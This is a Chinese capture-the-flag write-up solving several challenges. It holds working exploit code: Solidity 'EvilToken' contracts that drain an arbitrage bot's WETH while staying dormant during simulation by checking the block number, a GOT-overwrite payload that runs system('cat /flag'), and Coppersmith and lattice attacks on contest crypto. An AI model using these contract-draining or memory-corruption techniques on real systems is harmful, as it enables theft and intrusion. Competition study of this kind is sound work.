tx = bot.functions.arbitrage(pair1_address, pair2_address, amount1, amount2, amount3, direction).build_transaction(
    {'nonce': nonce, 'from': acct.address, 'gas': 10 ** 6, 'gasPrice': 10 ** 11}
)

而模拟与实际执行的区别,主要在于,模拟时会检查 WETH 余额必须增加。

我们暂且先不管这次模拟,先想想,如果直接调用 arbitrage,如何让 Bot 吐出余额。

考虑整个调用链:

bot.arbitrage(...)
	pair2.swap(...)
		WETH.transfer(bot, ...)
		bot.uniswapV2Call(...)
			WETH.transfer(pair1, ...)
			pair1.swap(...)
				some_token.transfer(pair2, ...)

图中大部分合约都不在我们的控制之下,但是有一个合约,最后的这个 token,是我们可能可以控制的。

假如构造一个 token,使得它会调用 bot.uniswapV2Call,进而转走余额,那么就能通过本题了。

最后,还需要想办法让这个逻辑在模拟时不会触发。经过测试,我发现模拟的时候,block number 还是上一个块的,可以利用这个特性来判断当前环境。

pragma solidity =0.8.10;

interface Bot {
    function uniswapV2Call(address sender, uint, uint, bytes calldata data) external;
}

interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);

    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);

    function createPair(address tokenA, address tokenB) external returns (address pair);

    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

interface IUniswapV2Pair {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);

    function name() external pure returns (string memory);
    function symbol() external pure returns (string memory);
    function decimals() external pure returns (uint8);
    function totalSupply() external view returns (uint);
    function balanceOf(address owner) external view returns (uint);
    function allowance(address owner, address spender) external view returns (uint);

    function approve(address spender, uint value) external returns (bool);
    function transfer(address to, uint value) external returns (bool);
    function transferFrom(address from, address to, uint value) external returns (bool);

    function DOMAIN_SEPARATOR() external view returns (bytes32);
    function PERMIT_TYPEHASH() external pure returns (bytes32);
    function nonces(address owner) external view returns (uint);

    function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;

    event Mint(address indexed sender, uint amount0, uint amount1);
    event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);

    function MINIMUM_LIQUIDITY() external pure returns (uint);
    function factory() external view returns (address);
    function token0() external view returns (address);
    function token1() external view returns (address);
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
    function price0CumulativeLast() external view returns (uint);
    function price1CumulativeLast() external view returns (uint);
    function kLast() external view returns (uint);

    function mint(address to) external returns (uint liquidity);
    function burn(address to) external returns (uint amount0, uint amount1);
    function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
    function skim(address to) external;
    function sync() external;

    function initialize(address, address) external;
}

interface IERC20 {
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
}

interface IWETH is IERC20 {
    function withdraw(uint256) external;
    function deposit() external payable;
}

contract EvilToken {
    string constant public name = "Token";
    string constant public symbol = "T";
    uint8 constant public decimals = 18;
    uint constant public totalSupply = 100 ether;
    mapping (address => uint) public balanceOf;
    mapping (address => mapping (address => uint)) public allowance;

    event Transfer(address indexed from, address indexed to, uint value);
    event Approval(address indexed owner, address indexed spender, uint value);

    constructor() {
        balanceOf[msg.sender] = totalSupply;
        emit Transfer(address(0), msg.sender, totalSupply);
    }

    function transfer(address to, uint value) public returns (bool) {
        _transfer(msg.sender, to, value);
        return true;
    }

    function approve(address spender, uint value) public returns (bool) {
        allowance[msg.sender][spender] = value;
        emit Approval(msg.sender, spender, value);
        return true;
    }

    function transferFrom(address from, address to, uint value) public returns (bool) {
        require(allowance[from][msg.sender] >= value);
        allowance[from][msg.sender] -= value;
        _transfer(from, to, value);
        return true;
    }

    function _transfer(address from, address to, uint value) private {
        require(balanceOf[from] >= value);
        balanceOf[from] -= value;
        balanceOf[to] += value;
        emit Transfer(from, to, value);

        //if (gasleft() < 2000000) {
        if (block.number >= 8) {
            Bot bot = Bot(0x607D86B806E7b2993438E82af2236C786a0Ff780);
            uint balance = IERC20(0x9d9901f3b034427dd0e6Cf1c70aE5E4d94Ed19e7).balanceOf(address(bot));
            bot.uniswapV2Call(address(bot), 0, 0, abi.encode(address(this), address(0), balance, uint(0), true));
        }
    }
    function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external {
    }
}

contract Solver {
    constructor() payable {
        EvilToken e = new EvilToken();
        IUniswapV2Factory fac1 = IUniswapV2Factory(0x164e31a6Ac83D5EDaE2139Add30099485D15d138);
        IUniswapV2Factory fac2 = IUniswapV2Factory(0xff2624eb527e4acAb0afE10270B7F6f58483D319);
        IUniswapV2Pair pair1 = IUniswapV2Pair(fac1.createPair(address(e), 0x9d9901f3b034427dd0e6Cf1c70aE5E4d94Ed19e7));
        IUniswapV2Pair pair2 = IUniswapV2Pair(fac2.createPair(address(e), 0x9d9901f3b034427dd0e6Cf1c70aE5E4d94Ed19e7));

        uint b = address(this).balance;
        IWETH(0x9d9901f3b034427dd0e6Cf1c70aE5E4d94Ed19e7).deposit{value: b}();
        IERC20(0x9d9901f3b034427dd0e6Cf1c70aE5E4d94Ed19e7).transfer(address(pair1), b / 2);
        IERC20(0x9d9901f3b034427dd0e6Cf1c70aE5E4d94Ed19e7).transfer(address(pair2), b - b / 2);
        e.transfer(address(pair1), 1 ether);
        e.transfer(address(pair2), 10 ether);
        pair1.mint(address(this));
        pair2.mint(address(this));
    }
}
from pwn import *
from web3 import Web3

w3 = Web3()
pk = '11451411' * 8
acc = w3.eth.account.from_key(pk)

tx = {
    'from': acc.address,
    'nonce': 0,
    'gas': 10000000,
    'gasPrice': 10**10,
    'data': '0x' + open('code_2.txt').read(),
    'chainId': 2023,
    'value': 10**17,
}
signed = w3.eth.account.sign_transaction(tx, pk)

context.log_level = 'debug'

r = remote('202.38.93.111', 10222)
r.sendlineafter(b'Please input your token: ', b'xxx')
r.sendlineafter(b'The challenge you want to play (1 or 2 or 3): ', b'2')
r.sendlineafter(b'Choice: ', b'1')
r.sendlineafter(b'Address: ', acc.address.encode())
r.sendlineafter(b'Choice: ', b'2')
r.sendlineafter(b'Raw transaction: ', signed.rawTransaction.hex().encode())
r.interactive()

Death's End

本题和上一题相比,arbitrage 函数完全加上了对余额的检查,而 uniswapV2Call 函数可以发出任意调用了。

为了清空余额,除了直接转账,也可以先 approve,然后再由他人转走。这样就能绕过检查。

pragma solidity =0.8.10;

interface Bot {
    function uniswapV2Call(address sender, uint, uint, bytes calldata data) external;
}

interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);

    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);

    function createPair(address tokenA, address tokenB) external returns (address pair);

    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

interface IUniswapV2Pair {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);

    function name() external pure returns (string memory);
    function symbol() external pure returns (string memory);
    function decimals() external pure returns (uint8);
    function totalSupply() external view returns (uint);
    function balanceOf(address owner) external view returns (uint);
    function allowance(address owner, address spender) external view returns (uint);

    function approve(address spender, uint value) external returns (bool);
    function transfer(address to, uint value) external returns (bool);
    function transferFrom(address from, address to, uint value) external returns (bool);

    function DOMAIN_SEPARATOR() external view returns (bytes32);
    function PERMIT_TYPEHASH() external pure returns (bytes32);
    function nonces(address owner) external view returns (uint);

    function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;

    event Mint(address indexed sender, uint amount0, uint amount1);
    event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);

    function MINIMUM_LIQUIDITY() external pure returns (uint);
    function factory() external view returns (address);
    function token0() external view returns (address);
    function token1() external view returns (address);
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
    function price0CumulativeLast() external view returns (uint);
    function price1CumulativeLast() external view returns (uint);
    function kLast() external view returns (uint);

    function mint(address to) external returns (uint liquidity);
    function burn(address to) external returns (uint amount0, uint amount1);
    function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
    function skim(address to) external;
    function sync() external;

    function initialize(address, address) external;
}

interface IERC20 {
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function transferFrom(address, address, uint256 amount) external returns (bool);
}

interface IWETH is IERC20 {
    function withdraw(uint256) external;
    function deposit() external payable;
}

contract EvilToken {
    string constant public name = "Token";
    string constant public symbol = "T";
    uint8 constant public decimals = 18;
    uint constant public totalSupply = 100 ether;
    mapping (address => uint) public balanceOf;
    mapping (address => mapping (address => uint)) public allowance;

    address solver;

    event Transfer(address indexed from, address indexed to, uint value);
    event Approval(address indexed owner, address indexed spender, uint value);

    constructor(address solver_) {
        solver = solver_;
        balanceOf[msg.sender] = totalSupply;
        emit Transfer(address(0), msg.sender, totalSupply);
    }

    function transfer(address to, uint value) public returns (bool) {
        _transfer(msg.sender, to, value);
        return true;
    }

    function approve(address spender, uint value) public returns (bool) {
        allowance[msg.sender][spender] = value;
        emit Approval(msg.sender, spender, value);
        return true;
    }

    function transferFrom(address from, address to, uint value) public returns (bool) {
        require(allowance[from][msg.sender] >= value);
        allowance[from][msg.sender] -= value;
        _transfer(from, to, value);
        return true;
    }

    function _transfer(address from, address to, uint value) private {
        require(balanceOf[from] >= value);
        balanceOf[from] -= value;
        balanceOf[to] += value;
        emit Transfer(from, to, value);

        //if (gasleft() < 2000000) {
        if (block.number >= 8) {
            Bot bot = Bot(0x607D86B806E7b2993438E82af2236C786a0Ff780);
            uint balance = IERC20(0x9d9901f3b034427dd0e6Cf1c70aE5E4d94Ed19e7).balanceOf(address(bot));
            address[] memory addressList = new address[](1);
            bytes[] memory calldataList = new bytes[](1);
            addressList[0] = 0x9d9901f3b034427dd0e6Cf1c70aE5E4d94Ed19e7;
            calldataList[0] = abi.encodePacked(uint32(0x095ea7b3), uint256(uint160(solver)), uint256(114514 ether));
            bot.uniswapV2Call(address(bot), 0, 0, abi.encode(addressList, calldataList));
        }
    }
    function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external {
    }
}

contract Solver {
    constructor() payable {
        EvilToken e = new EvilToken(address(this));
        IUniswapV2Factory fac1 = IUniswapV2Factory(0x164e31a6Ac83D5EDaE2139Add30099485D15d138);
        IUniswapV2Factory fac2 = IUniswapV2Factory(0xff2624eb527e4acAb0afE10270B7F6f58483D319);
        IUniswapV2Pair pair1 = IUniswapV2Pair(fac1.createPair(address(e), 0x9d9901f3b034427dd0e6Cf1c70aE5E4d94Ed19e7));
        IUniswapV2Pair pair2 = IUniswapV2Pair(fac2.createPair(address(e), 0x9d9901f3b034427dd0e6Cf1c70aE5E4d94Ed19e7));

        uint b = address(this).balance;
        IWETH(0x9d9901f3b034427dd0e6Cf1c70aE5E4d94Ed19e7).deposit{value: b}();
        IERC20(0x9d9901f3b034427dd0e6Cf1c70aE5E4d94Ed19e7).transfer(address(pair1), b / 2);
        IERC20(0x9d9901f3b034427dd0e6Cf1c70aE5E4d94Ed19e7).transfer(address(pair2), b - b / 2);
        e.transfer(address(pair1), 1 ether);
        e.transfer(address(pair2), 10 ether);
        pair1.mint(address(this));
        pair2.mint(address(this));
    }
    fallback() external payable {
        Bot bot = Bot(0x607D86B806E7b2993438E82af2236C786a0Ff780);
        uint balance = IERC20(0x9d9901f3b034427dd0e6Cf1c70aE5E4d94Ed19e7).balanceOf(address(bot));
        IERC20(0x9d9901f3b034427dd0e6Cf1c70aE5E4d94Ed19e7).transferFrom(address(bot), address(this), balance);
    }
}
from pwn import *
from web3 import Web3

w3 = Web3()
pk = '11451411' * 8
acc = w3.eth.account.from_key(pk)

tx = {
    'from': acc.address,
    'nonce': 0,
    'gas': 10000000,
    'gasPrice': 10**10,
    'data': '0x' + open('code_3.txt').read(),
    'chainId': 2023,
    'value': 10**17,
}
signed = w3.eth.account.sign_transaction(tx, pk)

tx2 = {
    'from': acc.address,
    'nonce': 1,
    'gas': 1000000,
    'gasPrice': 10**10,
    'data': '0x',
    'chainId': 2023,
    'value': 0,
    'to': '0x95431Ac61B186Be99cb96003E2272DA074EF3bE7',
}
signed2 = w3.eth.account.sign_transaction(tx2, pk)

context.log_level = 'debug'

r = remote('202.38.93.111', 10222)
r.sendlineafter(b'Please input your token: ', b'xxx')
r.sendlineafter(b'The challenge you want to play (1 or 2 or 3): ', b'3')
r.sendlineafter(b'Choice: ', b'1')
r.sendlineafter(b'Address: ', acc.address.encode())
r.sendlineafter(b'Choice: ', b'2')
r.sendlineafter(b'Raw transaction: ', signed.rawTransaction.hex().encode())
r.sendlineafter(b'Choice: ', b'2')
r.sendlineafter(b'Raw transaction: ', signed2.rawTransaction.hex().encode())
r.interactive()

It's MyCalculator!!!!!

看起来是个 pwn 题。

我一开始想着,对展开的代码进行分析,但是发现太长了,根本没法看,于是只好回去看原来的代码。

代码中定义了一个 result_buffer 数组,每次运算后会把结果放进去。还提供了 GETPUT 来直接读写里面的数据。

读写时判断了 if ($2 >= MAX_RESULT_BUFFER),但是却没有判断小于 0 的情况,这导致可以越界读写。

可以发现 result_buffer 存在 bss 里。

而往上一点就是 got 表:

于是我们可以通过修改 got 表里面的地址,来劫持执行流。

我一开始试图直接修改某个地址到 one_gadget,但是发现不太工作。

然后我注意到,yyerror 函数中,会调用 fprintf(stderr, ...), 而 stderr 刚好在我们能修改的区间内,于是可以把它改成一个我们可控的位置,随后调用 system("cat /flag")

对于可控的位置,我直接选择了 result_buffer 内部。然后我们需要知道 libc 和程序的基址,以便算出 systemresult_buffer 的地址。

这两者都能在 got 表中找到,使用过的函数会指向 libc,未使用过的则指向程序本身。

import os, base64, subprocess

fprintf = 0x51D00
system = 0x4C3A0
v = system - fprintf

payload = '\n'.join([
    '1/0',
    'PUT X ((GET X) + Y)'.replace('X', str((-44) % 2**32)).replace('Y', str(v % 2 ** 32)),
    'PUT Z ((GET X) + Y)'.replace('X', str((-24) % 2**32)).replace('Y', str((0x6100 + 137 * 4 - 0x1176) % 2**32)).replace('Z', str((-8) % 2**32)),
    'PUT Z ((GET X) + Y)'.replace('X', str((-23) % 2**32)).replace('Y', '0').replace('Z', str((-7) % 2**32)),
    'PUT 137 ' + str(int.from_bytes(b'cat ', 'little')),
    'PUT 138 ' + str(int.from_bytes(b'/fla', 'little')),
    'PUT 139 ' + str(int.from_bytes(b'g\0', 'little')),
    '1/0',
]) + '\n'
print(payload)
open('ans.txt', 'w').write(base64.b64encode(payload.encode()).decode() + '\nEOF\n')

小 Z 的谜题

Z3 solved everything.

import itertools
from z3 import *

solver = Solver()

bound = 5
constraints = ((1, 1, 3), (1, 2, 2), (1, 2, 4), (1, 4, 4), (2, 2, 2), (2, 2, 3))
count = [3, 4, 2, 2, 2, 3]
num_constraints = sum(count)
num_dims = len(constraints[0])
arrange = [[[0 for i in range(3)] for j in range(num_dims)] for k in range(num_constraints)]

s = []
for i in range(num_constraints):
    for j in range(num_dims):
        for k in range(3):
            if k == 2:
                arrange[i][j][k] = -1
            else:
                number = Int('x_%d_%d_%d' % (i, j, k))
                s.append(number)
                solver.add(0 <= number)
                solver.add(number <= bound)
                arrange[i][j][k] = number

for i in range(num_constraints):
    for j in range(num_constraints):
        if i == j:
            continue
        t = []
        for k in range(num_dims):
            t.append(arrange[i][k][1] <= arrange[j][k][0])
            t.append(arrange[j][k][1] <= arrange[i][k][0])
        solver.add(Or(*t))

for i in range(num_constraints):
    for t in range(len(constraints)):
        if count[t]:
            g = []
            for p in set(itertools.permutations(constraints[t])):
                o = []
                for j in range(num_dims):
                    o.append(arrange[i][j][1] - arrange[i][j][0] == p[j])
                g.append(And(*o))
            solver.add(Or(*g))
            count[t] -= 1
            break

tot = 1
for i in range(bound + 1):
    for j in range(bound + 1):
        for k in range(bound + 1):
            t = []
            for u in range(num_constraints):
                for x in range(2):
                    for y in range(2):
                        for z in range(2):
                            t.append(And(arrange[u][0][x] == i, arrange[u][1][y] == j, arrange[u][2][z] == k))
            tot += z3.If(Or(*t), z3.IntVal(1), z3.IntVal(0))
for i in range(bound + 1):
    for j in range(bound + 1):
        t1 = []
        t2 = []
        t3 = []
        for u in range(num_constraints):
            for x in range(2):
                for y in range(2):
                    t1.append(And(arrange[u][0][x] == i, arrange[u][1][y] == j))
                    t2.append(And(arrange[u][0][x] == i, arrange[u][2][y] == j))
                    t3.append(And(arrange[u][1][x] == i, arrange[u][2][y] == j))
        tot += z3.If(Or(*t1), z3.IntVal(1), z3.IntVal(0))
        tot += z3.If(Or(*t2), z3.IntVal(1), z3.IntVal(0))
        tot += z3.If(Or(*t3), z3.IntVal(1), z3.IntVal(0))
for i in range(bound + 1):
    t1 = []
    t2 = []
    t3 = []
    for u in range(num_constraints):
        for x in range(2):
            t1.append(arrange[u][0][x] == i)
            t2.append(arrange[u][1][x] == i)
            t3.append(arrange[u][2][x] == i)
    tot += z3.If(Or(*t1), z3.IntVal(1), z3.IntVal(0))
    tot += z3.If(Or(*t2), z3.IntVal(1), z3.IntVal(0))
    tot += z3.If(Or(*t3), z3.IntVal(1), z3.IntVal(0))

solver.add(tot <= 136)

if solver.check() == sat:
    m = solver.model()
    s2 = (m[i].as_long()for i in s)
    for i in range(num_constraints):
        for j in range(num_dims):
            for k in range(3):
                if k == 2:
                    arrange[i][j][k] = -1
                else:
                    arrange[i][j][k] = next(s2)
    arrange.sort()
    score = len(set((x, y, z) for i in range(num_constraints) for x, y, z in itertools.product(*arrange[i])))
    print(score)
    s3 = []
    for i in range(num_constraints):
        for j in range(num_dims):
            for k in range(3):
                if k == 2:
                    arrange[i][j][k] = -1
                else:
                    s3.append(arrange[i][j][k])
    print(''.join(map(str, s3)))

我开始看到这题的时候,尝试理解了一会,未能完全这个模型表达了什么。

那既然我没理解,总之丢给 z3 试试呗。第一个 flag 是轻松拿到了。

然后我试图加上了一些稍微优化过的,算 score 的代码。

接下来分别放到两台机子上跑 flag2 和 flag3。

半小时后,flag2 出了,但是 flag3 没有。重跑了一下 flag3,结果一下就出了。

可能之前运气不好,导致 z3 刚好搜索到了无解的分支吧。

黑客马拉松

阅读源码,发现题目大致如下:

  • 用户给出 RSA 的 $p,q,e$ 参数,程序会检查一些常见的攻击方式。
  • 程序随机生成一个 $state$,然后执行若干次 $state=\text{pow}(state,e,N)$。最后告诉用户 $state$ 的最低 $k$ 位。
  • 对于任务 1,会执行 100 次。
  • 对于任务 2,只会执行 1 次,但是保证初始的 $state&lt;2^{Nbits-k}$

这里 $k$ 的大小和 $e$ 的大小有关,当 $e$ 足够大时,$k=Nbits-96$。

教练,有人抢跑!

不妨设拿到的连续两个 $state$$a,b$,那么有 $b+y\cdot 2^k\equiv (a+x\cdot 2^k)^e\pmod N$。其中 $x,y&lt;2^{Nbits-k}$

假如 $e$ 足够小而 $k$ 足够大,那么可以用 多元 Coppersmith 来求解。

但是显然题目已经防住了这一点。

那么,如果是两个不相邻的 $state$ 呢?假如 $b$$a$ 后面第三个,那么有 $b+y\cdot 2^k\equiv (a+x\cdot 2^k)^{e^3}\pmod N$

假如 $e^3$ 足够小,那么也能类似计算。

$\varphi(N)\bmod 3\neq 0$,解方程 $e^3\equiv 3\pmod {\varphi(N)}$,就可以找到一个合适的 $e$,随后调用上面代码来求解即可。

from sage.all import *
from pwn import *
from ast import literal_eval
import itertools


# https://github.com/defund/coppersmith/blob/master/coppersmith.sage
def small_roots(f, bounds, m=1, d=None):
    if not d:
        d = f.degree()

    if isinstance(f, Polynomial):
        x, = polygens(f.base_ring(), f.variable_name(), 1)
        f = f(x)

    R = f.base_ring()
    N = R.cardinality()

    f /= f.coefficients().pop(0)
    f = f.change_ring(ZZ)

    G = Sequence([], f.parent())
    for i in range(m + 1):
        base = N ** (m - i) * f ** i
        for shifts in itertools.product(range(d), repeat=f.nvariables()):
            g = base * prod(map(power, f.variables(), shifts))
            G.append(g)

    B, monomials = G.coefficient_matrix()
    monomials = vector(monomials)

    factors = [monomial(*bounds) for monomial in monomials]
    for i, factor in enumerate(factors):
        B.rescale_col(i, factor)

    B = B.dense_matrix().LLL()

    B = B.change_ring(QQ)
    for i, factor in enumerate(factors):
        B.rescale_col(i, 1 / factor)

    H = Sequence([], f.parent().change_ring(QQ))
    for h in filter(None, B * monomials):
        H.append(h)
        I = H.ideal()
        if I.dimension() == -1:
            H.pop()
        elif I.dimension() == 0:
            roots = []
            for root in I.variety(ring=ZZ):
                root = tuple(R(root[var]) for var in f.variables())
                roots.append(root)
            return roots

    return []


context.log_level = 'debug'


def rdp(nbits=512):
    while True:
        p = random_prime(2 ** nbits - 1, False, 2 ** (nbits - 1))
        if ZZ((p - 1) // 2).is_prime():
            t = (p - 1) // 2
            r = t - 1
            if r % 3:
                inv3 = pow(3, -1, r)
                u = pow(3, inv3, t)
                assert pow(u, 3, t) == 3
                return p, t, u


while True:
    p, pt, pu = rdp()
    q, qt, qu = rdp()
    if int(p * q).bit_length() == 1024:
        break
a = CRT_list([pu, qu, 3], [pt, qt, 4])
assert pow(2, a**3, p * q) == pow(2, 3, p * q)
print(p, q, a)
p = int(p)
q = int(q)
a = int(a)

r = remote('202.38.93.111', 20230)
r.sendlineafter(b'Please input your token: ', b'xxx')
r.sendlineafter(b'p: ', str(p).encode())
r.sendlineafter(b'q: ', str(q).encode())
r.sendlineafter(b'A large prime factor of p-1: ', str((p - 1) // 2).encode())
r.sendlineafter(b'A large prime factor of q-1: ', str((q - 1) // 2).encode())
r.sendlineafter(b'e: ', str(a).encode())

k = 1024 - max(int(1024 * 2 // a), 96)

r.sendlineafter(b'Choose mission: ', b'1')
nums = literal_eval(r.recvline().strip().decode())
print(nums[0])

F = PolynomialRing(Zmod(p * q), names=['x', 'y'])
x, y = F.gens()
f = (x * 2**k + nums[0])**3 - nums[3] - y * 2**k
x, y = small_roots(f, [2**100, 2**100])[0]

state = x * 2**k + nums[0]
for _ in range(99):
    state = pow(state, a, p * q)

r.sendlineafter(b'Predict PRNG state: ', str(int(state)).encode())
r.interactive()

一発勝負

$a$ 为初始状态,$b$ 为第一次的输出,则有 $b+x\equiv a^e\pmod N$。其中 $a,x&lt;2^{Nbits-k}$

假如 $e$ 足够小,那么也能用之前的方法求解。

注意到,由于它只运行一次,后面的 small loop 检查就没用了。

这时可以让 $e=d=\varphi(N)-1$,于是方程可以写成 $a(b+x)\equiv 1\pmod N$

同样用上面的方法求解即可。

from sage.all import *
from pwn import *
from ast import literal_eval
import itertools


# https://github.com/defund/coppersmith/blob/master/coppersmith.sage
def small_roots(f, bounds, m=1, d=None):
    if not d:
        d = f.degree()

    if isinstance(f, Polynomial):
        x, = polygens(f.base_ring(), f.variable_name(), 1)
        f = f(x)

    R = f.base_ring()
    N = R.cardinality()

    f /= f.coefficients().pop(0)
    f = f.change_ring(ZZ)

    G = Sequence([], f.parent())
    for i in range(m + 1):
        base = N ** (m - i) * f ** i
        for shifts in itertools.product(range(d), repeat=f.nvariables()):
            g = base * prod(map(power, f.variables(), shifts))
            G.append(g)

    B, monomials = G.coefficient_matrix()
    monomials = vector(monomials)

    factors = [monomial(*bounds) for monomial in monomials]
    for i, factor in enumerate(factors):
        B.rescale_col(i, factor)

    B = B.dense_matrix().LLL()

    B = B.change_ring(QQ)
    for i, factor in enumerate(factors):
        B.rescale_col(i, 1 / factor)

    H = Sequence([], f.parent().change_ring(QQ))
    for h in filter(None, B * monomials):
        H.append(h)
        I = H.ideal()
        if I.dimension() == -1:
            H.pop()
        elif I.dimension() == 0:
            roots = []
            for root in I.variety(ring=ZZ):
                root = tuple(R(root[var]) for var in f.variables())
                roots.append(root)
            return roots

    return []


context.log_level = 'debug'

p = 10905368688585963858550248922087907135440752210620809960848625068497178057316857501885493297815171986862478457703181589743540685342136456600033789148199759
q = 10048010359353547130580080991744730838040893380799552777616936277613279522603205721937811712772761507842068721953064194417065415788324848647902872723714263
e = (-1) % ((p - 1) * (q - 1))

# r = process(['python', 'rsa_prng.py'])
r = remote('202.38.93.111', 20230)
r.sendlineafter(b'Please input your token: ', b'xxx')
r.sendlineafter(b'p: ', str(p).encode())
r.sendlineafter(b'q: ', str(q).encode())
r.sendlineafter(b'A large prime factor of p-1: ', str((p - 1) // 2).encode())
r.sendlineafter(b'A large prime factor of q-1: ', str((q - 1) // 2).encode())
r.sendlineafter(b'e: ', str(e).encode())

k = 1024 - max(int(1024 * 2 // e), 96)
print(k)

r.sendlineafter(b'Choose mission: ', b'2')
nums = literal_eval(r.recvline().strip().decode())

F = PolynomialRing(Zmod(p * q), names=['x', 'y'])
x, y = F.gens()
f = x * (nums[0] + y * 2**k) - 1
x, y = small_roots(f, [2**100, 2**100])[0]

state = pow(x, e, p * q)

r.sendlineafter(b'Predict PRNG state: ', str(int(state)).encode())
r.interactive()

不可加密的异世界 2

题目生成了一个矩阵 $M$,而加密就是把 $M$ 乘上对应向量。

希尔混淆

设两个向量 $\mathbf{v}=(v_1,\dots,v_n),\mathbf{u}=(u_1,\dots,u_n)$,而对大部分 $i$,$u_i=v_i$,对某个 $i=x$,$u_i=v_i+1$。

假如我们得到了 $M\mathbf{v}$$M\mathbf{u}$,那么相减就能得到 $M$ 的第 $x$ 列。

不妨假设 flag 中全是 ascii 字符,而我们的第一个输入中也是 ascii 字符,这样就能保证 $v_i&lt;128$

$u_x=v_x+1$ 也改成 $u_x=v_x+128$,这样原来的输入中,也就是对应的位置 $+128$,异或 flag 不再影响我们计算。

但是还有一个小问题,题目给出加密后的串时,如果某个位置是 256,也会变成 0。于是对于一个 0,我们无法准确知道它本来是什么。

对于这个问题,可以先不停随机 $\mathbf{v}$,直到 $M\mathbf{v}$ 不含 0,这时对每个 $x\in[1,n]$ 尝试求 $M\mathbf{u}$。$M\mathbf{u}$ 含 0 的再留到下一个 $\mathbf{v}$ 处理。

希尔之核

本题需要求一个 $M\mathbf{v}=\mathbf{v}$ 的解。

稍微变形,得到 $(M-I)\mathbf{v}=\mathbf{0}$。可以用高斯消元求解,也可以参考下一题的解法。

希尔之秘

本题需要求一个 $M\mathbf{v}=\mathbf{v}$ 的解,并且 $v_i\in[32,127)$

从变形后的结果 $(M-I)\mathbf{v}=\mathbf{0}$ 来看,可行的解是一个 。我们如果在这个格里面找到一个离 $\mathbf{u}=(79,79,\dots,79)$ 最近的向量,那么它很可能符合题目要求。

而解方程的步骤也可以通过格基规约来实现,具体构造见代码。

代码

from sage.all import *
from pwn import *
import random

# r = process(['sage', 'unencryptable_world2.sage'])
r = remote('202.38.93.111', 22000)
r.sendlineafter(b'Please input your token: ', b'xxx')


def enc(s):
    r.sendlineafter(b'>', s.hex().encode())
    r.recvuntil(b'[+] you ciphertext : ')
    return bytes.fromhex(r.recvline().strip().decode())


m = [[None] * 128 for _ in range(128)]
while True:
    if all((x is not None for y in m for x in y)):
        break
    msg = [random.randint(0, 127)] * 128
    a = enc(bytes(msg))
    if any((x == 0 for x in a)):
        continue
    for i in range(128):
        if any((m[x][i] is None for x in range(128))):
            msg[i] ^= 128
            b = enc(bytes(msg))
            msg[i] ^= 128
            for j in range(128):
                if a[j] and b[j]:
                    v = (b[j] - a[j]) * 255 % 257
                    if m[j][i] is not None:
                        assert m[j][i] == v
                    m[j][i] = v
    print('current known values:', sum((x is not None for y in m for x in y)))

F = GF(257)
m = Matrix(F, m)
minv = m**-1
print('flag1:', bytes(map(lambda x, y: x ^ y, bytes(minv * vector(F, a)), msg)))

mi = Matrix(F, [[int(i == j)for j in range(128)]for i in range(128)])

want = (0x20 + 0x7f) // 2
h = list(map(int, (m - mi) * vector(F, [want] * 128)))

N = 10000
M = []
for i in range(128):
    M.append([0] * 128 + [N * 257 * (j == i)for j in range(128)] + [0])
for i in range(128):
    M.append([int(j == i)for j in range(128)] + [int(m[j, i] - (i == j)) * N for j in range(128)] + [0])
M.append([0] * 128 + [h[j] * N for j in range(128)] + [N**2])
M = Matrix(ZZ, M)
print('starting BKZ...')
M = M.BKZ()
for line in M:
    if line[-1]:
        if line[-1] < 0:
            line = -line
        ans = vector(F, map(lambda x: x + want, line[:128]))
ans = bytes(ans)

print('find solution:', ans.decode())
r.sendlineafter(b'>', ans.hex().encode())
r.interactive()

旧日之痕

通过题面可知,若干字符串作为水印被嵌入到程序中。

逆向水印算法

首先,通过查看 strings 等方法,可以发现主要的代码在 sub_95C0 中:

该函数调用 sub_8FFF 将字符串转化为 std::vector<bool>,然后遍历字节码中的每个函数,将其放入 vector 中。每个函数会消耗若干 bits。

sub_8FFF 内容为:

它会根据一个查找表,把 base64 的字符还原回去,然后往 vector 里 push 每一位。最后还会用长度和奇偶性作为种子,用 std::mt19937 shuffle 整个 bitset。

回到主函数:

接下来他会对每个之前准备的函数,拿出一段 bits,调用 sub_9313 对他打水印。sub_9313 内容如下:

它先用输入的 int128,生成了一个排列,然后对函数里的 basic block 重新排列。

到此,水印逻辑就结束了。

基本块的识别

如果用 IDA 打开一个程序,可以看到这样的方块,它们就是一个个基本块:

但是,如果每个程序都调用 IDA 来计算,还是比较麻烦的。

观察发现,在 llvm ir 中,每个块结尾要么是 br i1,要么是 br,要么是 ret。而这编译到 x86 里,则分别对应了:

第一种:
jcc label1
jmp label2 (此句可选)

第二种:
jmp label3 (此句可选)

